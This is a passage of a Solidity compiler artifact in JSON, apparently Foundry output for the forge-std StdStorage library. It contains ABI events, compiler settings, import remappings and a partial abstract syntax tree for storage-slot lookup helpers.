Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"who","type":"address","indexed":false},{"internalType":"bytes4","name":"fsig","type":"bytes4","indexed":false},{"internalType":"bytes32","name":"keysHash","type":"bytes32","indexed":false},{"internalType":"uint256","name":"slot","type":"uint256","indexed":false}],"type":"event","name":"SlotFound","anonymous":false},{"inputs":[{"internalType":"address","name":"who","type":"address","indexed":false},{"internalType":"uint256","name":"slot","type":"uint256","indexed":false}],"type":"event","name":"WARNING_UninitedSlot","anonymous":false}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/StdStorage.sol":"stdStorageSafe"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/StdStorage.sol","id":9387,"exportedSymbols":{"FindData":[7402],"StdStorage":[7427],"Vm":[15673],"stdStorage":[9386],"stdStorageSafe":[8781]},"nodeType":"SourceUnit","src":"32:17810:8","nodes":[{"id":7391,"nodeType":"PragmaDirective","src":"32:31:8","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":7393,"nodeType":"ImportDirective","src":"65:28:8","nodes":[],"absolutePath":"lib/forge-std/src/Vm.sol","file":"./Vm.sol","nameLocation":"-1:-1:-1","scope":9387,"sourceUnit":15674,"symbolAliases":[{"foreign":{"id":7392,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"73:2:8","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":7402,"nodeType":"StructDefinition","src":"95:102:8","nodes":[],"canonicalName":"FindData","members":[{"constant":false,"id":7395,"mutability":"mutable","name":"slot","nameLocation":"125:4:8","nodeType":"VariableDeclaration","scope":7402,"src":"117:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7394,"name":"uint256","nodeType":"ElementaryTypeName","src":"117:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":7397,"mutability":"mutable","name":"offsetLeft","nameLocation":"143:10:8","nodeType":"VariableDeclaration","scope":7402,"src":"135:18:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7396,"name":"uint256","nodeType":"ElementaryTypeName","src":"135:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":7399,"mutability":"mutable","name":"offsetRight","nameLocation":"167:11:8","nodeType":"VariableDeclaration","scope":7402,"src":"159:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7398,"name":"uint256","nodeType":"ElementaryTypeName","src":"159:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":7401,"mutability":"mutable","name":"found","nameLocation":"189:5:8","nodeType":"VariableDeclaration","scope":7402,"src":"184:10:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7400,"name":"bool","nodeType":"ElementaryTypeName","src":"184:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"name":"FindData","nameLocation":"102:8:8","scope":9387,"visibility":"public"},{"id":7427,"nodeType":"StructDefinition","src":"199:249:8","nodes":[],"canonicalName":"StdStorage","members":[{"constant":false,"id":7411,"mutability":"mutable","name":"finds","nameLocation":"291:5:8","nodeType":"VariableDeclaration","scope":7427,"src":"223:73:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$_$","typeString":"mapping(address => mapping(bytes4 => mapping(bytes32 => struct FindData)))"},"typeName":{"id":7410,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":7403,"name":"address","nodeType":"ElementaryTypeName","src":"231:7:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"223:67:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$_$","typeString":"mapping(address => mapping(bytes4 => mapping(bytes32 => struct FindData)))"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":7409,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":7404,"name":"bytes4","nodeType":"ElementaryTypeName","src":"250:6:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"Mapping","src":"242:47:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$","typeString":"mapping(bytes4 => mapping(bytes32 => struct FindData))"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":7408,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":7405,"name":"bytes32","nodeType":"ElementaryTypeName","src":"268:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Mapping","src":"260:28:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$","typeString":"mapping(bytes32 => struct FindData)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":7407,"nodeType":"UserDefinedTypeName","pathNode":{"id":7406,"name":"FindData","nameLocations":["279:8:8"],"nodeType":"IdentifierPath","referencedDeclaration":7402,"src":"279:8:8"},"referencedDeclaration":7402,"src":"279:8:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData"}}}}},"visibility":"internal"},{"constant":false,"id":7414,"mutability":"mutable","name":"_keys","nameLocation":"312:5:8","nodeType":"VariableDeclaration","scope":7427,"src":"302:15:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":7412,"name":"bytes32","nodeType":"ElementaryTypeName","src":"302:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":7413,"nodeType":"ArrayTypeName","src":"302:9:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"},{"constant":false,"id":7416,"mutability":"mutable","name":"_sig","nameLocation":"330:4:8","nodeType":"VariableDeclaration","scope":7427,"src":"323:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":7415,"name":"bytes4","nodeType":"ElementaryTypeName","src":"323:6:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"},{"constant":false,"id":7418,"mutability":"mutable","name":"_depth","nameLocation":"348:6:8","nodeType":"VariableDeclaration","scope":7427,"src":"340:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7417,"name":"uint256","nodeType":"ElementaryTypeName","src":"340:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":7420,"mutability":"mutable","name":"_target","nameLocation":"368:7:8","nodeType":"VariableDeclaration","scope":7427,"src":"360:15:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":7419,"name":"address","nodeType":"ElementaryTypeName","src":"360:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":7422,"mutability":"mutable","name":"_set","nameLocation":"389:4:8","nodeType":"VariableDeclaration","scope":7427,"src":"381:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7421,"name":"bytes32","nodeType":"ElementaryTypeName","src":"381:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":7424,"mutability":"mutable","name":"_enable_packed_slots","nameLocation":"404:20:8","nodeType":"VariableDeclaration","scope":7427,"src":"399:25:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7423,"name":"bool","nodeType":"ElementaryTypeName","src":"399:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":7426,"mutability":"mutable","name":"_calldata","nameLocation":"436:9:8","nodeType":"VariableDeclaration","scope":7427,"src":"430:15:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":7425,"name":"bytes","nodeType":"ElementaryTypeName","src":"430:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"name":"StdStorage","nameLocation":"206:10:8","scope":9387,"visibility":"public"},{"id":8781,"nodeType":"ContractDefinition","src":"450:12308:8","nodes":[{"id":7437,"nodeType":"EventDefinition","src":"479:74:8","nodes":[],"anonymous":false,"eventSelector":"9c9555b1e3102e3cf48f427d79cb678f5d9bd1ed0ad574389461e255f95170ed","name":"SlotFound","nameLocation":"485:9:8","parameters":{"id":7436,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7429,"indexed":false,"mutability":"mutable","name":"who","nameLocation":"503:3:8","nodeType":"VariableDeclaration","scope":7437,"src":"495:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":7428,"name":"address","nodeType":"ElementaryTypeName","src":"495:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":7431,"indexed":false,"mutability":"mutable","name":"fsig","nameLocation":"515:4:8","nodeType":"VariableDeclaration","scope":7437,"src":"508:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":7430,"name":"bytes4","nodeType":"ElementaryTypeName","src":"508:6:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"},{"constant":false,"id":7433,"indexed":false,"mutability":"mutable","name":"keysHash","nameLocation":"529:8:8","nodeType":"VariableDeclaration","scope":7437,"src":"521:16:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7432,"name":"bytes32","nodeType":"ElementaryTypeName","src":"521:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":7435,"indexed":false,"mutability":"mutable","name":"slot","nameLocation":"547:4:8","nodeType":"VariableDeclaration","scope":7437,"src":"539:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7434,"name":"uint256","nodeType":"ElementaryTypeName","src":"539:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"494:58:8"}},{"id":7443,"nodeType":"EventDefinition","src":"558:54:8","nodes":[],"anonymous":false,"eventSelector":"080fc4a96620c4462e705b23f346413fe3796bb63c6f8d8591baec0e231577a5","name":"WARNING_UninitedSlot","nameLocation":"564:20:8","parameters":{"id":7442,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7439,"indexed":false,"mutability":"mutable","name":"who","nameLocation":"593:3:8","nodeType":"VariableDeclaration","scope":7443,"src":"585:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":7438,"name":"address","nodeType":"ElementaryTypeName","src":"585:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":7441,"indexed":false,"mutability":"mutable","name":"slot","nameLocation":"606:4:8","nodeType":"VariableDeclaration","scope":7443,"src":"598:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7440,"name":"uint256","nodeType":"ElementaryTypeName","src":"598:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"584:27:8"}},{"id":7460,"nodeType":"VariableDeclaration","src":"618:84:8","nodes":[],"constant":true,"mutability":"constant","name":"vm","nameLocation":"638:2:8","scope":8781,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"},"typeName":{"id":7445,"nodeType":"UserDefinedTypeName","pathNode":{"id":7444,"name":"Vm","nameLocations":["618:2:8"],"nodeType":"IdentifierPath","referencedDeclaration":15673,"src":"618:2:8"},"referencedDeclaration":15673,"src":"618:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"value":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"6865766d20636865617420636f6465","id":7454,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"680:17:8","typeDescriptions":{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""},"value":"hevm cheat code"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""}],"id":7453,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"670:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":7455,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"670:28:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":7452,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"662:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":7451,"name":"uint256","nodeType":"ElementaryTypeName","src":"662:7:8","typeDescriptions":{}}},"id":7456,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"662:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":7450,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"654:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":7449,"name":"uint160","nodeType":"ElementaryTypeName","src":"654:7:8","typeDescriptions":{}}},"id":7457,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"654:46:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":7448,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"646:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":7447,"name":"address","nodeType":"ElementaryTypeName","src":"646:7:8","typeDescriptions":{}}},"id":7458,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"646:55:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":7446,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"643:2:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Vm_$15673_$","typeString":"type(contract Vm)"}},"id":7459,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"643:59:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"visibility":"private"},{"id":7463,"nodeType":"VariableDeclaration","src":"708:109:8","nodes":[],"constant":true,"mutability":"constant","name":"UINT256_MAX","nameLocation":"725:11:8","scope":8781,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7461,"name":"uint256","nodeType":"ElementaryTypeName","src":"708:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"hexValue":"313135373932303839323337333136313935343233353730393835303038363837393037383533323639393834363635363430353634303339343537353834303037393133313239363339393335","id":7462,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"739:78:8","typeDescriptions":{"typeIdentifier":"t_rational_115792089237316195423570985008687907853269984665640564039457584007913129639935_by_1","typeString":"int_const 1157...(70 digits omitted)...9935"},"value":"115792089237316195423570985008687907853269984665640564039457584007913129639935"},"visibility":"internal"},{"id":7481,"nodeType":"FunctionDefinition","src":"824:123:8","nodes":[],"body":{"id":7480,"nodeType":"Block","src":"891:56:8","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":7475,"name":"sigStr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7465,"src":"931:6:8","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":7474,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"925:5:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes_storage_ptr_$","typeString":"type(bytes storage pointer)"},"typeName":{"id":7473,"name":"bytes","nodeType":"ElementaryTypeName","src":"925:5:8","typeDescriptions":{}}},"id":7476,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"925:13:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":7472,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"915:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":7477,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"915:24:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":7471,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"908:6:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes4_$","typeString":"type(bytes4)"},"typeName":{"id":7470,"name":"bytes4","nodeType":"ElementaryTypeName","src":"908:6:8","typeDescriptions":{}}},"id":7478,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"908:32:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"functionReturnParameters":7469,"id":7479,"nodeType":"Return","src":"901:39:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"sigs","nameLocation":"833:4:8","parameters":{"id":7466,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7465,"mutability":"mutable","name":"sigStr","nameLocation":"852:6:8","nodeType":"VariableDeclaration","scope":7481,"src":"838:20:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7464,"name":"string","nodeType":"ElementaryTypeName","src":"838:6:8","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"837:22:8"},"returnParameters":{"id":7469,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7468,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7481,"src":"883:6:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":7467,"name":"bytes4","nodeType":"ElementaryTypeName","src":"883:6:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"882:8:8"},"scope":8781,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":7506,"nodeType":"FunctionDefinition","src":"953:236:8","nodes":[],"body":{"id":7505,"nodeType":"Block","src":"1038:151:8","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7493,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"expression":{"id":7489,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7484,"src":"1052:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7490,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"1057:9:8","memberName":"_calldata","nodeType":"MemberAccess","referencedDeclaration":7426,"src":"1052:14:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage","typeString":"bytes storage ref"}},"id":7491,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1067:6:8","memberName":"length","nodeType":"MemberAccess","src":"1052:21:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":7492,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1077:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"1052:26:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":7503,"nodeType":"Block","src":"1137:46:8","statements":[{"expression":{"expression":{"id":7500,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7484,"src":"1158:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7501,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"1163:9:8","memberName":"_calldata","nodeType":"MemberAccess","referencedDeclaration":7426,"src":"1158:14:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage","typeString":"bytes storage ref"}},"functionReturnParameters":7488,"id":7502,"nodeType":"Return","src":"1151:21:8"}]},"id":7504,"nodeType":"IfStatement","src":"1048:135:8","trueBody":{"id":7499,"nodeType":"Block","src":"1080:51:8","statements":[{"expression":{"arguments":[{"expression":{"id":7495,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7484,"src":"1109:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7496,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"1114:5:8","memberName":"_keys","nodeType":"MemberAccess","referencedDeclaration":7414,"src":"1109:10:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage","typeString":"bytes32[] storage ref"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage","typeString":"bytes32[] storage ref"}],"id":7494,"name":"flatten","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8704,"src":"1101:7:8","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_array$_t_bytes32_$dyn_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes32[] memory) pure returns (bytes memory)"}},"id":7497,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1101:19:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":7488,"id":7498,"nodeType":"Return","src":"1094:26:8"}]}}]},"implemented":true,"kind":"function","modifiers":[],"name":"getCallParams","nameLocation":"962:13:8","parameters":{"id":7485,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7484,"mutability":"mutable","name":"self","nameLocation":"995:4:8","nodeType":"VariableDeclaration","scope":7506,"src":"976:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":7483,"nodeType":"UserDefinedTypeName","pathNode":{"id":7482,"name":"StdStorage","nameLocations":["976:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"976:10:8"},"referencedDeclaration":7427,"src":"976:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"975:25:8"},"returnParameters":{"id":7488,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7487,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7506,"src":"1024:12:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":7486,"name":"bytes","nodeType":"ElementaryTypeName","src":"1024:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"1023:14:8"},"scope":8781,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":7552,"nodeType":"FunctionDefinition","src":"1251:343:8","nodes":[],"body":{"id":7551,"nodeType":"Block","src":"1334:260:8","nodes":[],"statements":[{"assignments":[7517],"declarations":[{"constant":false,"id":7517,"mutability":"mutable","name":"cald","nameLocation":"1357:4:8","nodeType":"VariableDeclaration","scope":7551,"src":"1344:17:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":7516,"name":"bytes","nodeType":"ElementaryTypeName","src":"1344:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":7526,"initialValue":{"arguments":[{"expression":{"id":7520,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7509,"src":"1381:4:8